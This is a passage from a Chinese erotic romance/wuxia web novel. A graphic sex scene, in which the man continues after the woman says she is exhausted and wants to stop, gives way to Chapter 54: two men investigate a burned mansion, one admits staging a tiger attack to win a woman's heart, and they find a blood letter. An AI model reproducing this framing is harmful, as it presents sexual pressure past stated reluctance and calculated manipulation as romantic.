呜呜。阴道被插的好舒服,奶子被抓的也好舒服。于是我快乐眯眼浪叫:“嗯……嗯……啊啊……反正你就是很下流……”

“嗯,是吗?……哦。哦……可是我的‘下流’把你弄得好浪……你的小洞洞跳的好猛,缩的好紧。哦,哦。快要把我的阳具给夹断了……”白逸研磁性的嗓音中带着魅人魂魄的沙哑。

“唔……你好过分……”此刻的白逸研是个坏男人。不仅正在进行中的行为坏透了,就连他说出的话也包含着浓浓的坏男人的味道!──净会说些孟浪的话,让我无法承受。

“我哪里过分了?”他倏地把他刚毅的身子贴在我娇软的后背上,大手牢牢制住我的腰肢,操的更快,干的更猛。

“啊,太快了……你慢点……”我的两株奶子不停的颤动,像是两只不停往前跳的小白兔。

“说!我到底是哪里过分了?”白逸研的唇角勾起一抹坏笑。

“唔……你说的那些话太过分了……”他既然执着要听,那我只能委屈地讲给他听。

“嗤!是吗?不过你好像听后身体更兴奋呢。我记得我说那话时,你的小洞洞里有一股很热的液体向我的阳具喷射出而来……”白逸研吃吃低笑了出来,他呼吸出来的热气喷洒在我的脖子上,让我全身不能抑制的颤抖。

“你不要说话啦!”他的性格怎么生的这般的妖孽。我不想听什么,他偏要说什么。

“是。遵命……”于是他不再说话,只用有力的大手一提一提的托着我的屁股,上下套弄着他耸动而来的巨大肉棒。

“啊……”我微仰起头,快乐的浪叫连连……

**

白逸研明明是射了。可是他的动作却没有停下来。我发现,我再一次上当了。

“你又说话不算话!”

“抱歉,我实在太想要你了。我保证这一定是最后一次好不好?”白逸研歉疚地轻哄。

“可是……我真的好累……”眼中泡上团团泪,我现在只想睡觉。

“乖,不会很久的。我保证。你再忍忍。”他依然在我的身后,阴茎从身后抽插着我的阴道……

“唔……”我仰头,颤着屁股感受他的屁股强而有力的撞击在我的屁股上的那一刹的美妙感觉。

唔。啊。他刺的每一下都这么的深、那么的重,像是要把我的阴道给捅烂了似的。

他喘着浓重的呼吸,咬牙用力的在背后用阴茎喂养着我不停收缩的阴道……

他在我体内几经冲刺。插了许久,他终于是把他的精液射入我的子宫内。

随后,他的伟岸身子疲惫的压倒在我的身体之上。把我可怜的身子压趴在软绵绵湿漉漉的床单上……

第054章前事回顾

一个多月前。

幕城的青禾街,发生了一件震惊整个幕城的事情。──一个不知来历的富商在一夜之间满门全部被大火给烧死了。

不过,这并不是人们恐惧和好奇的事情,大家恐惧和好奇的是:这件事情明明是发生在人群密集的街市之中,却诡谲的没有一个人在昨夜里听到任何的求救声音和大火烧掉房子的声音。而且啊,昨晚青禾街上居然也没有一个人外出,大家仿佛都处在极度的好眠之中,所以自然就没有人看到了这里的大火究竟是什么起的。据当地的百姓口口相传,听说这件事情是地狱鬼差干下的……

但是凡事都会出那么一点的意外。这不,街尾处正有一个打更的老汉在绘声绘色的描绘他昨晚上见到地狱鬼差的所见所闻:“昨夜,天很冷。我冻的手脚哆嗦的在街道缓缓行走……那时我眼前突然就飞跃过数道魅影……我清楚的看见他们是从我的身体里穿过。所以我肯定那是鬼差!”

夜琥焰和倾默蠡从拥挤成团的人群中走出来。

“默蠡,你说桃花她会不会……”夜琥焰攥成拳头的手微微颤抖,后背上浸满了湿漉漉的汗。现在他的脑袋乱轰轰的一片空白,他没有心思去多关心别的事情,他只关心桃花的安危。

“不会!”倾默蠡冷脸以对,神情极度不悦的果断的打断了夜琥焰的胡乱猜想。

**

倾默蠡和夜琥焰先后以卓越的轻功飞进烧成废墟的令狐悦最后居住的大宅子里,进行一场惊慌失措的寻找……

大宅子里面,烧成黑炭的木头七横八竖的散落在地上。根根黑炭的木头还散发着缕缕的青烟,看来这场大火才刚刚熄灭了不久……

“带走桃花的人到底是谁?”他们查看了现场所有烧焦的尸体,没有一个是桃花的。夜琥焰的心稍稍安定了下来,无论如何桃花暂时没事,他就放心了。

倾默蠡摇了摇头,他暂时也理不出头绪来。

“默蠡,你看这件事情会不会是阎晟做下的?”夜琥焰蹙眉发问。

倾默蠡冷冷勾唇,自身上流露出一股强者的自信,“阎晟不可能比你我更早一步找到桃花。”

“原来你也和我一样的想法。”他们都不认为这件事是阎晟做下的。“只是,”夜琥焰拧眉,他还是有点不放心,“我只怕他会和我们一样,隐藏起大部分的势力。”夜琥焰和倾默蠡现在呈现在世人眼中的那种已经足够强悍的本事只不过是他们全部能力的五分之一罢了。──这天下能长长久久存在下来的势力只有那些懂得隐藏锋芒的智者。

倾默蠡瞥了夜琥焰一眼,淡淡道,“不会。阎晟不仅是王爷还是个权倾朝野的摄政王。他没有那个必要去隐藏些什么。”显赫的身份让阎晟不必去忌讳些什么。只有他们这些‘民间’的武装,怕被朝廷忌惮才会隐藏起自己的能力。把自己的力量伪装的弱了一点。

“既然不是阎晟灭了令狐悦的满门,那么会是谁人做的?”令狐悦的能力只是比他们弱,但是也并不低,到底是谁有这种本事,轻而易举的灭了令狐悦的满门。

倾默蠡缓缓向前行走,行动间他的衣袍轻扬,清隽潇洒的宛如天人下凡尘。“从现场的情况和刚才那些人的描述,我们可以得到两个至关重要的讯息:一是。他们居然能够早了我们一步找到桃花。还能以神鬼莫测的速度灭了令狐悦满门。以此可以推断出对方势力极为强悍。……很有可能在你我能力之上。”虽然倾默蠡不想承认自己的势力输人一等,但是摆在眼前的是铁铮铮的事实,由不得他不承认。──令狐悦身边的人在江湖中也是一等一的高手,却在这个神秘组织面前如此的不堪一击,居然一夜就被灭了满门!

“二是。这股神秘力量的人虽然来过,可是却在现场没有留下任何的线索和痕迹,甚至没有人察觉他们曾经在这里出现过。(人们大多数以为这只是一场火灾。)从这点上可以看出这股神秘力量的高深到恐怖的武学修为。”

夜琥焰脸色阴郁,眸光幽暗森冷,“这世间上居然还隐藏着这么一股势力?”而且还隐藏的如此之好,就连他们也没有发现!──‘未知的东西’往往也是最令人恐惧的东西。

但是,无论这个隐藏的‘他’势力有多么的恐怖可怕,他发誓都要把桃花找回!哪怕是穷尽了他一生的心力,他也在所不惜!

**

“默蠡,你做什么又回到令狐悦的书房密室来?”夜琥焰跟随着倾默蠡的脚步,不知不觉的又回到了刚才他们来过的书房密室中。

“我总觉得我们好像忽略了什么东西?”倾默蠡眸中散发出睿智的光芒。

他们又走进已经烧的不成原样的书房密室,只见一具烧焦的尸体横陈在书房密室里的地面上,从这具焦尸上余留的饰物他们判断出他就是令狐悦的。

以倾默蠡的明锐感觉,他总觉得令狐悦死在书房的密室里有些不合常理。他临死之前好像要留给他们一些东西似的。

“令狐悦前些日子的诈死,就是为了和桃花在一起吧。”毕竟是相识了一场,见他死状如此凄惨,夜琥焰难免为他惆怅的一叹。情爱真真是害人的东西。

“哼。”倾默蠡则不以为然的冷哼一声,“他明知道他自己没有拥有桃花的能力,却硬要去勉强!这不是自寻死路是什么?”凡事皆要量力而行,不可勉强,勉强的结果只能是自取灭亡!

听倾默蠡提起此事,夜琥焰的身子不由的一僵。他眯起漆黑的眸子,声音有些森冷,“一直忙于找桃花,我有一件事情倒忘了问你了。──那天,桃花是你故意要放走的吧。”他有可能没有发现桃花那小小的诡计,但是倾默蠡则不同,以倾默蠡的深沉心机,桃花的那点想逃离的小心思怎么能够隐瞒的过他倾默蠡的眼!

倾默蠡清冷一叹,没有隐瞒,因为现在已经没有再隐瞒的必要了,‘脸’已经撕破了,不是吗?“是的,我是故意要放她逃走的。”

“你故意放她走是想独占她。”夜琥焰是男人,自然懂得男人的那么一点心思。──天下间没有一个男人会愿意和人分享其心爱的女人。

“是。”倾默蠡浅浅勾唇,他清澈的俊眸一转,自个儿优雅的戳破还隔的那一道朦胧纱,“不过,我的目的远远没有你想的那么简单。”故意放她走,他不仅是存了独占她的思想,他还存了非要得到她的心的决心。

“你还存了得到她的心的心思,是吧。”夜琥焰用的是陈述句,因为他阐述的是事实,没有必要用疑问句。

“是。”

“你回来时,我见你胸前有伤,按理说应该没有什么东西可以让你轻易受伤,可是你却受伤了。”夜琥焰毕竟不是个单纯到只会打杀的呆瓜莽汉,该是清楚的事情,每一件他都很清楚。

“为了让她的心装下一个我,这点牺牲根本算不了什么。”倾默蠡清隽秀美的脸庞上表情很是深邃,“为了得到我想要的,我根本就不会在乎血肉模糊的牺牲!”

本来他是想让老虎的獠牙、利爪顺便撕扯开他的肌肉,只是桃花太过坚强了,她居然没有被眼前发生的情景下倒,手起剑落,便以迅雷不及掩耳的速度结束掉了老虎的生命,害他白白失去了一个在她心间投向急剧震憾的悸动的机会!

世间之事往往皆是如此,你不太在乎的从来都能轻易的手到擒来。但是当你真正遇到疯狂想要的东西的时候却艰难的令你颓废。

但是,倾默蠡并不气馁,因为他是个解读人心的高手。他知道桃花的弱点、桃花的善良、桃花的心思。所以,那一番刻意的设计足够让他得她的心。而他的确是用‘以身挡虎’对她舍身相救的伎俩,成功的打开了她对他封闭的心门。

精心安排,步步为营。一切皆在他的掌握之中。他只差一点就可以成功了。就只差那么一点……

只是──

倾默蠡攥紧了拳头,眼中隐藏了滔天的恨意,垂眼冷冷的盯着地上的那一具清冷的焦尸。

只是,这一切的心计都被令狐悦这个酒囊饭袋给毁掉了!

“你疯了!那可是只猛兽!你居然疯狂到利用猛兽的攻击去换她的真心!你不知道你只要一个不小心便会丧生在虎口之下吗?”

倾默蠡不太在意地微微一笑,“如果不这么做,那么我该向谁讨要到我应得的回报呢?”他付出了那么惨烈的代价,总要向那个让他这么惨烈的人还给他应有的回报吧。

“而且机会就只有那么一次。我若不会把握,以后我可能找不到这么好的机会去讨要她的心了。这就像是一场赌博。我既然敢赌,就已经做好了输的准备。也压上最大的筹码。”他若是赢了,他便拥有了她的心。他若是输了,他不会放弃,只会更加激烈的去寻觅下一次的机会。

“原来我猜想的一点都没有错。那么,倾默蠡。你可以告诉我,你现在到底是怎么看待我们之间的兄弟情义?”显然,因为一个桃花已经让他们完美的兄弟情义出现了深如鸿沟的裂缝。

倾默蠡低低一叹,“不是我看轻你我之间的兄弟义气,只是我只会选择对我来说最有利的东西。”倘若,鱼与熊掌真不可兼得。兄弟和桃花之间他只能二者选一的话,那么他肯定会选择桃花。亚并不是他是个重色轻友、看轻义气之辈。而是夜琥焰若是他的‘手足’,那么桃花就是他的‘生命’。二选一,他只能选择生命!──若没有了生命,手足完好对他来说又有何用呢?

“……”夜琥焰闭上眼,喉结翻滚的很是厉害。可他却没有怪罪倾默蠡的意思,只因为他自己也有如此荒谬的想法。

见夜琥焰并没有多少的情绪反弹,倾默蠡便聪慧的知道了他此刻的想法,他淡淡道,“好了。现在好像不是说这些的时候,我们必须尽快找出这个灭了令狐悦,带走桃花的人。”或许他真的像夜琥焰所说的那样,他确实是疯了!他倘若不是疯了又怎么会为了一个女人对自己心狠道这般地步?

“嗯。”倾默蠡点点头。现在还不是内斗的时候。

倾默蠡的目光在密室里寻觅了好几圈,最后,他把目光盯在了一个雕刻成桃花花瓣形状的玲珑石头上。

他走过去,缓缓蹲下身子,用手指轻轻去触摸在墙角角落里的这个玲珑桃花石头。

夜琥焰也察觉到了异样。走上前去,拧眉问道,“怎么了?”

“这个好像是个机关。”倾默蠡淡淡答道。

因为此雕刻成桃花花瓣形状的玲珑石头的桃花花瓣稍稍是往顺时针方向歪去。然而桃花花瓣会向顺时针方向歪去并不是因为雕琢本身的原因,那是由于内力常期去挪动造成的。

于是。倾默蠡嘴角含笑,应用内力,把雕刻成桃花的玲珑石头沿着顺时针的方向扭转个360°。

“轰轰”几声,雕刻成桃花的玲珑石头从中央裂开,出现一方叠放整齐的白帛布料。──就那么随便的一摸,闲散的一看,他就知道该如何打开这个设计巧妙的石头机关,可见倾默蠡其过人的观察力。

“血书?”夜琥焰低低呐声。

之所以夜琥焰会叫它为血书,是因为白帛布料上的字是用鲜血写上去的。

看过白帛布料上写的内容时,夜琥焰和倾默蠡脸色皆是很难看。

桃花被令狐悦催眠了……